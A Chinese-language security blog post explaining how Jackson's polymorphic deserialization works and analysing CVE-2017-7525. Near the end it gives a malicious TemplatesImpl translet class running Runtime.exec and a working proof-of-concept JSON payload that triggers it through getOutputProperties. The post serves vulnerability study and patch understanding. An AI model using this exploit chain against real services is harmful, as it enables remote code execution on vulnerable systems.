Jackson反序列化
发表于:2025-08-26 | 分类: Java

Jackson反序列化

Jackson基础

Jackson介绍

Jackson 是一个开源的Java序列化和反序列化工具,可以将 Java 对象序列化为 XML 或 JSON 格式的字符串,以及将 XML 或 JSON 格式的字符串反序列化为 Java 对象。

本次Jackson反序列化使用Jackson版本为2.7.9,导入依赖如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<dependencies>  
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.7.9</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.7.9</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.7.9</version>
</dependency>
</dependencies>

Jackson序列化及反序列化

首先我们自定义一个Person类

1
2
3
4
5
6
7
8
9
public class Person {
public int age;
public String name;

@Override
public String toString(){
return String.format("Person.age=%d, Person.name=%s", age, name);
}
}

然后编写一个Jackson的序列化与反序列化的Demo。使用writeValueAsString方法可以将一个对象序列化为Json字符串,而使用readValue方法可以将一个字符串反序列化为一个Java对象,漏洞的触发点就在readValue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class JacksonDemo {
public static void main(String[] args) throws Exception {
Person person = new Person();
person.age = 18;
person.name = "CurlySean";

ObjectMapper mapper = new ObjectMapper();
//序列化
String json = mapper.writeValueAsString(person);
System.out.println(json);
//反序列化
Person p2 = mapper.readValue(json, Person.class);
System.out.println(p2);
}
}

Person类序列化后的json字符串如下

1
{"age":18,"name":"CurlySean"}

Jackson对于多态问题的解决

将一个多态类的某一个子类序列化后,再进行反序列化时,该怎么确保反序列化出的实例,是我们想要的那个实例呢?Jackson使用JacksonPolymorphicDeserialization机制来解决这个问题:

JacksonPolymorphicDeserialization即Jackson多态类的反序列化。在反序列化的过程中,如果类的成员变量不是举例类型,例如Object、Interface(接口)或Abstrack(抽象类),则可以在Json字符串中指定其具体类型,Jackson将生成具体类型的实例。即可以将具体子类的信息绑定在序列化的内容中,在后续的反序列化过程中,可以直接得到目标子类对象,其中有两种实现方式:

  • DefaultTyping
  • @JsonTypeInfo

DefaultTping

在Jackson中提供了enableDefaultTyping设置,其中包含了四个值:

  1. JAVA_LANG_OBJECT
  2. OBJECT_AND_NON_CONCRETE
  3. NON_CONCRETE_AND_ARRAYS
  4. NON_FINAL

在设置enableDefalutTyping时,默认OBJECT_AND_NON_CONCRETE

JAVA_LANG_OBJECT

JAVA_LANG_OBJECT:当被序列化或反序列化的类里的属性被声明为Object类型时,会对该Object类型的属性进行序列化和反序列化,并且明确规定类名

我们添加一个Hacker类

1
2
3
public class Hacker {
public String name = "xxx";
}

同时在Person类中,添加一个Object类型的属性

1
2
3
4
5
6
7
8
9
10
public class Person {
public int age;
public String name;
public Object hacker;

@Override
public String toString(){
return String.format("Person.age=%d, Person.name=%s", age, name);
}
}

新建一个JAVA_LANG_OBJECTdemo.java,添加enableDefaultTyping(),将其设置为JAVA_LANG_OBJECT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class JAVA_LANG_OBJECTdemo {
public static void main(String[] args) throws IOException {
Person person = new Person();
person.age = 20;
person.name = "CurlySean";
person.hacker = new Hacker();

ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);

String json = objectMapper.writeValueAsString(person);
System.out.println(json);

Person p2 = objectMapper.readValue(json, Person.class);
System.out.println(p2);
}
}

运行后输出序列化json字符串如下。我们和未设置JAVA_LANG_OBJECT情况下的序列化字符串做一下对比,发现在设置JAVA_LANG_OBJECT时,Object类型的属性格式为key:["全类名",{"key":"value"}](有点像fastjson中的@Type

1
2
3
4
//设置JAVA_LANG_OBJECT
{"age":20,"name":"CurlySean","hacker":["com.Jackson.Hacker",{"name":"xxx"}]}
//未设置JAVA_LANG_OBJECT
{"age":20,"name":"CurlySean","hacker":{"name":"xxx"}}

OBJECT_AND_NON_CONCRETE

OBJECT_AND_NON_CONCRETE:除了JAVA_LANG_OBJECT的特征,在类中有Interface和Abstract时,也会将其序列化和反序列化(一切的前提是这些类本身就是合法的可序列化的对象)

我们添加一个Sex接口

1
2
3
4
public interface Sex {
public void setSex(int sex);
public int getSex();
}

添加一个Sex接口的实现类MySex

1
2
3
4
5
6
7
8
9
10
11
12
13
public class MySex implements Sex{
int sex;

@Override
public void setSex(int sex) {
this.sex = sex;
}

@Override
public int getSex() {
return sex;
}
}

然后再Person类中添加sex属性

1
2
3
4
5
6
7
8
9
10
11
public class Person {
public int age;
public String name;
public Object hacker;
public Sex sex;

@Override
public String toString(){
return String.format("Person.age=%d, Person.name=%s", age, name);
}
}

修改序列化和反序列化代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class OBJECT_AND_NON_CONCRETEdemo {
public static void main(String[] args) throws IOException {
Person person = new Person();
person.age = 20;
person.name = "CurlySean";
person.hacker = new Hacker();
person.sex = new MySex();

ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);

String json = objectMapper.writeValueAsString(person);
System.out.println(json);

Person p2 = objectMapper.readValue(json, Person.class);
System.out.println(p2);
}
}

同样我们来对比一下在设置和没有设置情况下序列化字符串的区别

1
2
3
4
//设置OBJECT_AND_NON_CONCRETE
{"age":20,"name":"CurlySean","hacker":["com.Jackson.Hacker",{"name":"xxx"}],"sex":["com.Jackson.MySex",{"sex":0}]}
//未设置OBJECT_AND_NON_CONCRETE
{"age":20,"name":"CurlySean","hacker":{"name":"xxx"},"sex":{"sex":0}}

但是未设置OBJECT_AND_NON_CONCRETE时,反序列化的操作就不是那么顺利了,由于接口类的原因,并不能成功的反序列化,抽象类同理

NON_CONCRETE_AND_ARRAYS

NON_CONCRETE_AND_ARRAYS:在除前面Object、接口类和抽象类以外,多支持了Array数组类型

同样编写测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class NON_CONCRETE_AND_ARRAYSdemo {
public static void main(String[] args) throws IOException {
Person person = new Person();
person.age = 20;
person.name = "CurlySean";
Hacker[] hackers = new Hacker[2];
hackers[0] = new Hacker();
hackers[1] = new Hacker();
person.hacker = hackers;
person.sex = new MySex();

ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS);

String json = objectMapper.writeValueAsString(person);
System.out.println(json);

Person p2 = objectMapper.readValue(json, Person.class);
System.out.println(p2);
}
}

设置NON_CONCRETE_AND_ARRAYS的情况下,数组类会在全类名前添加[L,代表这是一个Array类,value的内容格式为["key1":"value1","key2":"value2"......]

1
{"age":20,"name":"CurlySean","hacker":["[Lcom.Jackson.Hacker;",[{"name":"xxx"},{"name":"xxx"}]],"sex":["com.Jackson.MySex",{"sex":0}]}

NON_FINAL

NON_FINAL:在整个类中,除final外的属性都会被序列化和反序列化

在Person类中添加final的secret属性

1
2
3
4
5
6
7
8
9
10
11
12
public class Person {
public int age;
public String name;
public Object hacker;
public Sex sex;
final String secret="secret";

@Override
public String toString(){
return String.format("Person.age=%d, Person.name=%s", age, name);
}
}

修改测试Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class NON_FINALdemo {
public static void main(String[] args) throws IOException {
Person person = new Person();
person.age = 20;
person.name = "CurlySean";
Hacker[] hackers = new Hacker[2];
hackers[0] = new Hacker();
hackers[1] = new Hacker();
person.hacker = hackers;
person.sex = new MySex();

ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);

String json = objectMapper.writeValueAsString(person);
System.out.println(json);

Person p2 = objectMapper.readValue(json, Person.class);
System.out.println(p2);
}
}

运行后输出的json字符串如下,可以看到是十分详细了,但我们的final的secret属性并没有被序列化进来

1
["com.Jackson.Person",{"age":20,"name":"CurlySean","hacker":["[Lcom.Jackson.Hacker;",[["com.Jackson.Hacker",{"name":"xxx"}],["com.Jackson.Hacker",{"name":"xxx"}]]],"sex":["com.Jackson.MySex",{"sex":0}]}]

@JsonTypeInfo

@JsonTypeInfo注解是Jackson多态类绑定的一种方式,取值支持以下五种

  • @JsonTypeInfo(use = JsonTypeInfo.Id.NONE)
  • @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
  • @JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)
  • @JsonTypeInfo(use = JsonTypeInfo.Id.NAME)
  • @JsonTypeInfo(use = JsonTypeInfo.Id.CUSTOM)
NONE
测试代码是一样的,主要是在Person类中配置
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class NONETEST {
public static void main(String[] args) throws IOException {
Student student = new Student();
student.age = 20;
student.name = "CurlySean";
student.friend = new Hacker();

ObjectMapper objectMapper = new ObjectMapper();

String json = objectMapper.writeValueAsString(student);
System.out.println(json);

Student s2 = objectMapper.readValue(json, Student.class);
System.out.println(s2);
}
}

新建一个Student类,给Object类型属性添加@JsonTypeInfo注解,并指定属性为JsonTypeInfo.Id.NONE

1
2
3
4
5
6
7
8
9
10
11
public class Student {
public int age;
public String name;
@JsonTypeInfo(use = JsonTypeInfo.Id.NONE)
public Object friend;

@Override
public String toString(){
return String.format("Student.age=%d, Student.name=%s", age, name);
}
}

可以看到,设置和没有设置JsonTypeInfo.Id.NONE是一样的

1
{"age":20,"name":"CurlySean","friend":{"name":"xxx"}}

CLASS

修改Student类@JsonTypeInfo注解的值为JsonTypeInfo.Id.CLASS

1
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)

运行后输出以下内容,其中为Object类的属性,多了"@class":"com.Jackson.Hacker",即含有具体的全类名信息。并且我们可以看到,在反序列化出来的Object类型的属性,也可以对应上我们指定的类型

1
2
{"age":20,"name":"CurlySean","friend":{"@class":"com.Jackson.Hacker","name":"xxx"}}
Student.age=20, Student.name=CurlySean , com.Jackson.Hacker@55f3ddb1

那么在反序列化的过程中,如果使用了JsonTypeInfo.Id.CLASS进行修饰,那么就可以通过@class的方式指定类,进行相关的调用

MINIMAL_CLASS

同样修改Student类中对于Object类型属性所设置的@JsonTypeInfo注解值为JsonTypeInfo.Id.MINIMAL_CLASS

1
@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)

运行后查看输出,唯一的区别就是@c替换了@class,剩下的和CLASS注解值是一样的

1
2
{"age":20,"name":"CurlySean","friend":{"@c":"com.Jackson.Hacker","name":"xxx"}}
Student.age=20, Student.name=CurlySean , com.Jackson.Hacker@18be83e4

NAME

修改注解值为JsonTypeInfo.Id.NAME

1
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME)

可以看到,在对于Object类属性序列化时,使用"@type":"className"的方式指定类,但是没有具体的包名,这也就导致了后面在反序列化时会报错,因此该设置值不能被反序列化利用

JsonTypeInfo.Id.CUSTOM

其实这个值时提供给用户自定义的意思,我们是没办法直接使用的,需要手动写一个解析器才能配合使用,直接运行会抛出异常

小结

根据前面的测试,当@JsonTypeInfo的注解值为以下两者之一,来修饰Object类的属性时,就可以用来触发Jackson反序列化漏洞

  • JsonTypeInfo.Id.CLASS
  • JsconTypeInfo.Id.MINIMAL_CLASS

类属性方法的调用

对于fastjson、snakeyaml等依赖,也是提供字符串与Java对象之间的转化。之前学习过,这两种依赖在反序列化的过程中,会调用对应类的构造方法和部分setter与getter方法进行对象属性的赋值,那么Jackson也是同理

这里看一下两种实现方式是否有区别

DefaultTyping

这里我们新增一个Teacher类
1
2
3
4
5
6
7
8
9
10
public class Teacher {
public int age;
public String name;
public Sex sex;

@Override
public String toString() {
return String.format("Teacher.age=%d, Teacher.name=%s, %s", age, name, sex == null ? "null" : sex);
}
}

为MySex类设置setter、getter与构造方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class MySex implements Sex{
int sex;
public MySex(){
System.out.println("Mysex.Constructor");
}

@Override
public void setSex(int sex) {
System.out.println("Mysex.setter");
this.sex = sex;
}

@Override
public int getSex() {
System.out.println("Mysex.getter");
return sex;
}
}

编写测试代码,配置无参数的enableDefaultTyping()

1
2
3
4
5
6
7
8
9
public class DeserializationTest {
public static void main(String[] args) throws Exception {
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping();
String json = "{\"age\":28,\"name\":\"CurlySean\",\"sex\":[\"com.Jackson.MySex\",{\"sex\":1}]}";
Teacher teacher = objectMapper.readValue(json, Teacher.class);
System.out.println(teacher);
}
}

看到输出,可以知道在反序列化的过程中,调用了MySex类的setter方法与无参构造方法

@JsonTypeInfo 注解

修改Teacher类,在Sex类的前面添加注解

1
2
3
4
5
6
7
8
9
10
11
12
public class Teacher {
public int age;
public String name;
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
// @JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)
public Sex sex;

@Override
public String toString() {
return String.format("Teacher.age=%d, Teacher.name=%s, %s", age, name, sex == null ? "null" : sex);
}
}

在刚刚的测试代码中,将objectMapper.enableDefaultTyping();部分注释掉

运行后看到,和使用 DefaultTyping 是一样的

反序列化调试分析

调试分析

在将json字符串反序列化为Java对象的过程中,主要操作只有两步:

  • 通过构造函数生成实例
  • 通过setter方法设置实例属性值

我们给Teacher类添加一个构造函数,然后在Teacher类、MySex类的构造函数、setter方法和getter方法打断点

在readValue处打一个断点,我们进行调试分析

跟进到_readMapAndClose方法中,首先进行了JsonToken的初始化,然后调用了deserialize方法

继续跟进deserialize方法,如果是在第一次初始化时,我们就会走到vanillaDeserialize方法处

走入vanillaDeserialize,在该方法中首先调用了createUsingDefault方法,this._defaultCreator.call方法调用了对应类的无参构造方法并生成实例

接着我们回到vanillaDeserialize方法,这里会遍历我们Tearch类的属性值,从根据Json字符串解析的key:Value键值对中找到对应的值,调用deserializeAndSet方法,该方法用来调用对应属性的setter方法进行赋值

跟进deserializeAndSet,继续跟进deserialize方法,这里判断该节点的数据类型是否为NULL,如果不为NULL,则继续判断_valueTypeDeserializer是否为NULL,如果不是NULL则继续调用this._valueDeserializer.deserialize方法

VALUE_NUMBER_INT为NULL的情况下调用getIntValue方法,否则调用_parseInteger,调用完成之后,会返回JSON键值对中的值

回到deserializeAndSet方法,接下来调用this._field.set,该方法就用来调用对应属性的setter方法了(在该属性有setter方法的前提下)

对于name属性的设置,也是一样的。不一样的是,在我们对sex属性设置时,调用deserialize方法,我们会走到deserializeWithType方法处

跟进deserializeWithType方法,因为sex的value值是一个数组,这里返回的result为null,因此后面我们会走到deserializeTypedFromObject方法

跟进deserializeTypedFromObject,同样因为是数组,我们会走到else if中,这里调用了_deserializeTypedUsingDefaultImpl方法

首先调用_findDefaultImplDeserializer方法,还是因为数组原因,并不会匹配任意一项,最后会调用deserializeTypedFromAny方法从已有类里去找

跟进deserializeTypedFromAny,继续跟进_deserialize方法,该方法中调用this._findDeserializer(ctxt, typeId);找到了我们的com.Jackson.MySex

接着就会调用deserialize方法,后续的流程就和之前所说一样了,有点那种递归的意思

小结

至此整个调用流程就结束了,同理使用DefaultTyping也是一样的。

简单来说,就是先调用构造函数,生成一个对应类的实例,然后根据JSON的内容,调用对应属性的SETTER方法进行赋值操作,和之前的fastjson反序化是挺像的,但是调用对应setter方法的限制应该是没有fastjson多

Jackson反序列化漏洞

这里就不写Jackson反序列化漏洞的demo了,原理和fastjson等都是差不多的

前提条件

只要满足以下条件之一,就存在Jackson反序列化漏洞:

  • 调用ObjectMapper.enableDefaultTying函数
  • 对要进行反序列化类的属性配置了注解值为JsonTypeInfo.Id.CLASS@JsonTypeInfo注解
  • 对要进行反序列化类的属性配置了注解值为JsonTypeInfo.Id.MINIMAL_CLASS@JsonTypeInfo注解

Jackson反序列化CVE-2017-7525

该反序列化链是基于 TemplatesImpl 的利用链

影响版本

该漏洞的影响版本如下:
  • Jackson < 2.6.7.1
  • Jackson < 2.7.9.1
  • Jackson < 2.8.8.1

限制条件

由于该链是基于 TemplatesImpl 的利用链,所以JDK版本为7u21或8u20,使用动态代理的链子

漏洞

漏洞复现

新建一个Test对象,如果不使用enableDefaultTyping方法,则需要配置@JasonTypeInfo注解

1
2
3
public class Test {
public Object object;
}

创建我们的恶意类,编译为class文件(本身想用javassit生成,但是感觉没有这个方便)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class calcTest extends AbstractTranslet {
public calcTest(){
try{
Runtime.getRuntime().exec("calc");
}catch (Exception e){}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

Poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class Poc {
public static void main(String[] args) throws Exception {
String exp = readClassStr("G:\\tmp\\calcTest.class");
String json = "{\"object\":" +
"[\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
"{\"transletBytecodes\":[\"" + exp + "\"],\"transletName\":\"CulrySean\",\"outputProperties\":{}}]}";
System.out.printf(json);
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
try {
mapper.readValue(json, Test.class);
} catch (Exception e) {
e.printStackTrace();
}
}

public static String readClassStr(String cls) throws Exception{

File file = new File(cls);
FileInputStream fileInputStream = new FileInputStream(file);
byte[] bytes = new byte[(int) file.length()];
fileInputStream.read(bytes);
String base64Encoded = DatatypeConverter.printBase64Binary(bytes);
return base64Encoded;
}
}

看完Poc后,根据前面分析的会调用对应属性的setter方法进行赋值,但是这条链子明显和getgetOutputProperties方法有关,问了一下AI,说:在反序列化的特殊情况下,只有getter方法没有setter方法,会调用getter方法,可以仔细再去分析一下源码

分析调试

我们在这里的漏洞分析调试,是对于getgetOutputProperties方法也就是getter方法触发的分析,对于TemplatesImpl 利用链,可以自行找文章分析或看我之前的文章

前面的部分我们不再调试,我们走到vanilaDeserialize方法处,一直步进到处理outputProperties方法处,在该方法中调用了this._beanProperties.find方法,我们看到_beanProperties的内容

1
Properties=[uriresolver([simple type, class javax.xml.transform.URIResolver]), transletBytecodes([array type, component type: [array type, component type: [simple type, class byte]]]), stylesheetDOM([simple type, class com.sun.org.apache.xalan.internal.xsltc.DOM]), transletName([simple type, class java.lang.String]), outputProperties([map type; class java.util.Properties, [simple type, class java.lang.String] -> [simple type, class java.lang.String]])]

this._beanProperties.find返回一个SetterLessProperty对象,从名字上看,就知道是在该属性值没有setter方法的情况下返回的对象,并且我们能在里面看到getter方法也就是getgetOutputProperties

继续向下调用prop.deserializeAndSet,也就是SetterlessProperty.deserializeAndSet,跟进看一看,就可以发现,这里不再调用setter方法而是getter方法,因此可以触发我们的payload

最后走到getgetOutputProperties方法触发漏洞

高版本JDK限制

在一些大版本下,JDK1.7、JDK1.8中的TemplatesImpl类是有所区别的

大版本下,无法触发payload的原因在于,新建TransletClassLoader类的代码中,调用了_factory属性,但是该属性为null,因此会抛出异常

同时在Jackson中也无法设置_tfactory,因为该属性没有对应的getter和setter方法

补丁修复

在调用 BeanDeserializerFactory.createBeanDeserializer 函数创建 Bean 反序列化器的时候,其中会调用 checkIllegalTypes 函数提取当前类名,然后使用黑名单进行过滤:

下一篇:
JDK7u21